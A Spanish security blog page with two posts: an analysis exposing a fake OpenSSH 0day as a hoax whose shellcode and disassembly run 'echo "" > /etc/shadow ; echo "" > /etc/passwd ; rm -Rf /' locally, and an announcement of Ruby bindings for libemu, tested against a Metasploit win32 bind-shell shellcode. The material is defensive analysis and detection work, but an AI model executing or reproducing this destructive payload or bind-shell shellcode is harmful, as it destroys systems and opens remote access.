Un blog de Seguridad Informática, desde un punto de vista tecnológico

code

Fake 0day exploit para OpenSSH

Hoy hemos amanecido con alguna que otra noticia sobre un posible 0day en OpenSSH 5.7 (versión anterior a la actual OpenSSH 5.8/5.8p1).

Por lo que hemos podido trazar, al menos en Twitter el origen parece ser el siguiente tweet:
En twitter se han podido encontrar diversos enlaces al supuesto 0day:

Sólo con revisar la actividad de esta cuenta ya hay diferentes aspectos sospechosos, como el bajo número de Tweets y las fechas de los mismos.

Al acceder al enlace del servicio pastebin y otras fuentes, es posible acceder al supuesto código del exploit:

Además de este, se han detectado otras variantes, supuestamente multiplataforma:

Pues bien, después de realizar un análisis del primero de los exploits, se ha podido comprobar que se trata de un HOAX, y además dañiño.

Si revisamos el código, se inicializa la variable shellcode con lo que posteriormente veremos que se trata de un payload dañino.

unsigned char shellcode[] =
"\x6a\x0b\x58\x99\x52\x66\x68\x2d\x63\x89\xe7\x68\x2f\x73\x68"
"\x00\x68\x2f\x62\x69\x6e\x89\xe3\x52\xe8\x39\x00\x00\x00\x65"
"\x63\x68\x6f\x20\x22\x22\x20\x3e\x20\x2f\x65\x74\x63\x2f\x73"
"\x68\x61\x64\x6f\x77\x20\x3b\x20\x65\x63\x68\x6f\x20\x22\x22"
"\x20\x3e\x20\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64\x20"
"\x3b\x20\x72\x6d\x20\x2d\x52\x66\x20\x2f\x00\x57\x53\x89\xe1"
"\xcd\x80";

En realidad del supuesto exploit, el único código relevante es el siguiente:

int main(int argc, char *argv[])
{
  int uid = getuid();
  int port = 22, sock;
  struct hostent *host;
  struct sockaddr_in addr;

  if(uid !=0)
  {
    fprintf(stderr, "[!!]Error: You must be root\n");
    exit(1);
  }
  if(uid == 0)
  {
    printf("\t[+]Starting exploit..\n");
  }
  if(argc != 3)
       usage(argv);

  fprintf(stderr, "[!!]Exploit failed\n");
  (*(void(*)())shellcode)();

En el que se comprueba que el usuario que lo ejecuta es root, se comprueba el número de argumentos y se llama un puntero a función que apunta al payload inicializado en la variable “shellcode”, por lo que realmente éste se ejecuta en local.

A continuación se adjunta el análisis estático de la shellcode:

seg000:00000000
seg000:00000000 ; Segment type: Pure code
seg000:00000000 seg000          segment byte public 'CODE' use32
seg000:00000000                 assume cs:seg000
seg000:00000000                 assume es:nothing, ss:nothing, ds:nothing, fs:nothing, gs:nothing
seg000:00000000                 push    0Bh
seg000:00000002                 pop     eax             ; eax => system call numbre = 0xB (execve)
seg000:00000003                 cdq                     ; edx => \0
seg000:00000004                 push    edx
seg000:00000005                 push    small 'c-'
seg000:00000009                 mov     edi, esp        ; edi => pointer to "-c"
seg000:0000000B                 push    'hs/'
seg000:00000010                 push    'nib/'
seg000:00000015                 mov     ebx, esp        ; ebx => pointer to "/bin/sh"
seg000:00000017                 push    edx             ; push NULL
seg000:00000018                 call    loc_56          ; push pointer to "aEchoEtcShadowE"
seg000:00000018 ; ---------------------------------------------------------------------------
seg000:0000001D aEchoEtcShadowE db 'echo "" > /etc/shadow ; echo "" > /etc/passwd ; rm -Rf /',0
seg000:00000056 ; ---------------------------------------------------------------------------
seg000:00000056
seg000:00000056 loc_56:                                 ; CODE XREF: seg000:00000018?p
seg000:00000056                 push    edi             ; push pointer to "-c"
seg000:00000057                 push    ebx             ; push pointer to "/bin/sh"
seg000:00000058                 mov     ecx, esp        ; ecx => args = ["/bin/sh", "-c", "echo "" > /etc/shadow"; echo "" > /etc/passwd; rm -Rf /"]
seg000:0000005A                 int     80h             ; execve("/bin/sh", ["/bin/sh", "-c", "echo "" > /etc/shadow"; echo "" > /etc/passwd; rm -Rf /"], NULL)
seg000:0000005A seg000          ends
seg000:0000005A
seg000:0000005A
seg000:0000005A                 end

Así pues, el supuesto exploit ejecuta en el sistema local, con privilegios de root, el comando:

echo "" > /etc/shadow"; echo "" > /etc/passwd; rm -Rf /

Destacar que este no es el primer caso de fake exploits relacionados con OpenSSH, ya por el 2009 hubo otra oleada de fake exploits para el mismo servicio.


ruby-libemu

Últimamente venía teniendo ganas de entrar un poco en los internals de Ruby. He pensado que una forma entretenida sería con la programación de extensiones (bindings).

También quería mirarme con calma la libemu:

libemu is a small library written in C offering basic x86 emulation and shellcode detection using GetPC heuristics. It is designed to be used within network intrusion/prevention detections and honeypots.

Y todo lo anterior nos lleva a “ruby-libemu”, bindings de Ruby para “libemu”.

Aprovechando que la “libemu” viene acompañada de un binding de python, esta primera versión ofrece la misma funcionalidad, para ruby. Así, ya podemos buscar shellcodes en un buffer de datos:

  1. En C:
  2. #include "emu/emu.h"
    #include "emu/emu_shellcode.h"
    
    /*
     * win32_bind -  EXITFUNC=seh LPORT=4444 Size=317 Encoder=None http://metasploit.com
     */
    unsigned char shellcode[] =
    "\xfc\x6a\xeb\x4d\xe8\xf9\xff\xff\xff\x60\x8b\x6c\x24\x24\x8b\x45"
    "\x3c\x8b\x7c\x05\x78\x01\xef\x8b\x4f\x18\x8b\x5f\x20\x01\xeb\x49"
    "\x8b\x34\x8b\x01\xee\x31\xc0\x99\xac\x84\xc0\x74\x07\xc1\xca\x0d"
    "\x01\xc2\xeb\xf4\x3b\x54\x24\x28\x75\xe5\x8b\x5f\x24\x01\xeb\x66"
    "\x8b\x0c\x4b\x8b\x5f\x1c\x01\xeb\x03\x2c\x8b\x89\x6c\x24\x1c\x61"
    "\xc3\x31\xdb\x64\x8b\x43\x30\x8b\x40\x0c\x8b\x70\x1c\xad\x8b\x40"
    "\x08\x5e\x68\x8e\x4e\x0e\xec\x50\xff\xd6\x66\x53\x66\x68\x33\x32"
    "\x68\x77\x73\x32\x5f\x54\xff\xd0\x68\xcb\xed\xfc\x3b\x50\xff\xd6"
    "\x5f\x89\xe5\x66\x81\xed\x08\x02\x55\x6a\x02\xff\xd0\x68\xd9\x09"
    "\xf5\xad\x57\xff\xd6\x53\x53\x53\x53\x53\x43\x53\x43\x53\xff\xd0"
    "\x66\x68\x11\x5c\x66\x53\x89\xe1\x95\x68\xa4\x1a\x70\xc7\x57\xff"
    "\xd6\x6a\x10\x51\x55\xff\xd0\x68\xa4\xad\x2e\xe9\x57\xff\xd6\x53"
    "\x55\xff\xd0\x68\xe5\x49\x86\x49\x57\xff\xd6\x50\x54\x54\x55\xff"
    "\xd0\x93\x68\xe7\x79\xc6\x79\x57\xff\xd6\x55\xff\xd0\x66\x6a\x64"
    "\x66\x68\x63\x6d\x89\xe5\x6a\x50\x59\x29\xcc\x89\xe7\x6a\x44\x89"
    "\xe2\x31\xc0\xf3\xaa\xfe\x42\x2d\xfe\x42\x2c\x93\x8d\x7a\x38\xab"
    "\xab\xab\x68\x72\xfe\xb3\x16\xff\x75\x44\xff\xd6\x5b\x57\x52\x51"
    "\x51\x51\x6a\x01\x51\x51\x55\x51\xff\xd0\x68\xad\xd9\x05\xce\x53"
    "\xff\xd6\x6a\xff\xff\x37\xff\xd0\x8b\x57\xfc\x83\xc4\x64\xff\xd6"
    "\x52\xff\xd0\x68\xf0\x8a\x04\x5f\x53\xff\xd6\xff\xd0";
    
    int main(int argc, char *argv[])
    {
    	struct emu *e = emu_new();
    	int32_t result = emu_shellcode_test(e, shellcode, (uint16_t)strlen(shellcode));
    	printf("\n[*] Result: %d\n", result);
    	emu_free(e);
    	return 0;
    }
    

    El resultado:

    $ ./test
    [*] Result: 4

  3. En Python:
  4. import libemu
    '''
    win32_bind -  EXITFUNC=seh LPORT=4444 Size=317 Encoder=None http://metasploit.com
    '''
    shellcode = ("\xfc\x6a\xeb\x4d\xe8\xf9\xff\xff\xff\x60\x8b\x6c\x24\x24\x8b\x45"
    "\x3c\x8b\x7c\x05\x78\x01\xef\x8b\x4f\x18\x8b\x5f\x20\x01\xeb\x49"
    "\x8b\x34\x8b\x01\xee\x31\xc0\x99\xac\x84\xc0\x74\x07\xc1\xca\x0d"
    "\x01\xc2\xeb\xf4\x3b\x54\x24\x28\x75\xe5\x8b\x5f\x24\x01\xeb\x66"
    "\x8b\x0c\x4b\x8b\x5f\x1c\x01\xeb\x03\x2c\x8b\x89\x6c\x24\x1c\x61"
    "\xc3\x31\xdb\x64\x8b\x43\x30\x8b\x40\x0c\x8b\x70\x1c\xad\x8b\x40"
    "\x08\x5e\x68\x8e\x4e\x0e\xec\x50\xff\xd6\x66\x53\x66\x68\x33\x32"
    "\x68\x77\x73\x32\x5f\x54\xff\xd0\x68\xcb\xed\xfc\x3b\x50\xff\xd6"
    "\x5f\x89\xe5\x66\x81\xed\x08\x02\x55\x6a\x02\xff\xd0\x68\xd9\x09"
    "\xf5\xad\x57\xff\xd6\x53\x53\x53\x53\x53\x43\x53\x43\x53\xff\xd0"
    "\x66\x68\x11\x5c\x66\x53\x89\xe1\x95\x68\xa4\x1a\x70\xc7\x57\xff"
    "\xd6\x6a\x10\x51\x55\xff\xd0\x68\xa4\xad\x2e\xe9\x57\xff\xd6\x53"
    "\x55\xff\xd0\x68\xe5\x49\x86\x49\x57\xff\xd6\x50\x54\x54\x55\xff"
    "\xd0\x93\x68\xe7\x79\xc6\x79\x57\xff\xd6\x55\xff\xd0\x66\x6a\x64"
    "\x66\x68\x63\x6d\x89\xe5\x6a\x50\x59\x29\xcc\x89\xe7\x6a\x44\x89"
    "\xe2\x31\xc0\xf3\xaa\xfe\x42\x2d\xfe\x42\x2c\x93\x8d\x7a\x38\xab"
    "\xab\xab\x68\x72\xfe\xb3\x16\xff\x75\x44\xff\xd6\x5b\x57\x52\x51"
    "\x51\x51\x6a\x01\x51\x51\x55\x51\xff\xd0\x68\xad\xd9\x05\xce\x53"
    "\xff\xd6\x6a\xff\xff\x37\xff\xd0\x8b\x57\xfc\x83\xc4\x64\xff\xd6"
    "\x52\xff\xd0\x68\xf0\x8a\x04\x5f\x53\xff\xd6\xff\xd0")
    
    emulator = libemu.Emulator()
    print emulator.test(shellcode)
    

    El resultado:

    $ python test.py
    4

  5. Y ahora, también en Ruby:
  6. require 'rlibemu'
    
    # win32_bind -  EXITFUNC=seh LPORT=4444 Size=317 Encoder=None http://metasploit.com
    shellcode =
    "\xfc\x6a\xeb\x4d\xe8\xf9\xff\xff\xff\x60\x8b\x6c\x24\x24\x8b\x45" +
    "\x3c\x8b\x7c\x05\x78\x01\xef\x8b\x4f\x18\x8b\x5f\x20\x01\xeb\x49" +
    "\x8b\x34\x8b\x01\xee\x31\xc0\x99\xac\x84\xc0\x74\x07\xc1\xca\x0d" +
    "\x01\xc2\xeb\xf4\x3b\x54\x24\x28\x75\xe5\x8b\x5f\x24\x01\xeb\x66" +
    "\x8b\x0c\x4b\x8b\x5f\x1c\x01\xeb\x03\x2c\x8b\x89\x6c\x24\x1c\x61" +
    "\xc3\x31\xdb\x64\x8b\x43\x30\x8b\x40\x0c\x8b\x70\x1c\xad\x8b\x40" +
    "\x08\x5e\x68\x8e\x4e\x0e\xec\x50\xff\xd6\x66\x53\x66\x68\x33\x32" +
    "\x68\x77\x73\x32\x5f\x54\xff\xd0\x68\xcb\xed\xfc\x3b\x50\xff\xd6" +
    "\x5f\x89\xe5\x66\x81\xed\x08\x02\x55\x6a\x02\xff\xd0\x68\xd9\x09" +
    "\xf5\xad\x57\xff\xd6\x53\x53\x53\x53\x53\x43\x53\x43\x53\xff\xd0" +
    "\x66\x68\x11\x5c\x66\x53\x89\xe1\x95\x68\xa4\x1a\x70\xc7\x57\xff" +
    "\xd6\x6a\x10\x51\x55\xff\xd0\x68\xa4\xad\x2e\xe9\x57\xff\xd6\x53" +
    "\x55\xff\xd0\x68\xe5\x49\x86\x49\x57\xff\xd6\x50\x54\x54\x55\xff" +
    "\xd0\x93\x68\xe7\x79\xc6\x79\x57\xff\xd6\x55\xff\xd0\x66\x6a\x64" +
    "\x66\x68\x63\x6d\x89\xe5\x6a\x50\x59\x29\xcc\x89\xe7\x6a\x44\x89" +
    "\xe2\x31\xc0\xf3\xaa\xfe\x42\x2d\xfe\x42\x2c\x93\x8d\x7a\x38\xab" +
    "\xab\xab\x68\x72\xfe\xb3\x16\xff\x75\x44\xff\xd6\x5b\x57\x52\x51" +
    "\x51\x51\x6a\x01\x51\x51\x55\x51\xff\xd0\x68\xad\xd9\x05\xce\x53" +
    "\xff\xd6\x6a\xff\xff\x37\xff\xd0\x8b\x57\xfc\x83\xc4\x64\xff\xd6" +
    "\x52\xff\xd0\x68\xf0\x8a\x04\x5f\x53\xff\xd6\xff\xd0"
    
    emulator = Libemu::Emulator.new
    p emulator.test(shellcode)
    

    Su resultado:

    $ ruby test.rb
    4

La salida del test, tal y como menciona la documentación de libemu, es:

  • El offset en el que se ha detectado la shellcode (si el test ha sido positivo)
  • -1 si el test ha sido negativo

Si tenemos algo de tiempo, intentaremos hacer una extensión más completa para libemu, ya que con esta primera versión no es posible aprovechar, desde ruby, toda la funcionalidad de la librería :)

Sea como sea, esta primera versión se encuentra disponible en https://github.com/testpurposes/ruby-libemu. Para instalar la extensión se pueden seguir los siguientes pasos:

$ rake gem
(in /ruby-libemu)
mkdir -p pkg
WARNING: no rubyforge_project specified
Successfully built RubyGem
Name: ruby-libemu
Version: 0.0.1
File: ruby-libemu-0.0.1.gem
mv ruby-libemu-0.0.1.gem pkg/ruby-libemu-0.0.1.gem
$ gem install pkg/ruby-libemu-0.0.1.gem
Building native extensions. This could take a while...
Successfully installed ruby-libemu-0.0.1
1 gem installed
Installing ri documentation for ruby-libemu-0.0.1...
Installing RDoc documentation for ruby-libemu-0.0.1...


Seguir

Recibe cada nueva publicación en tu buzón de correo electrónico.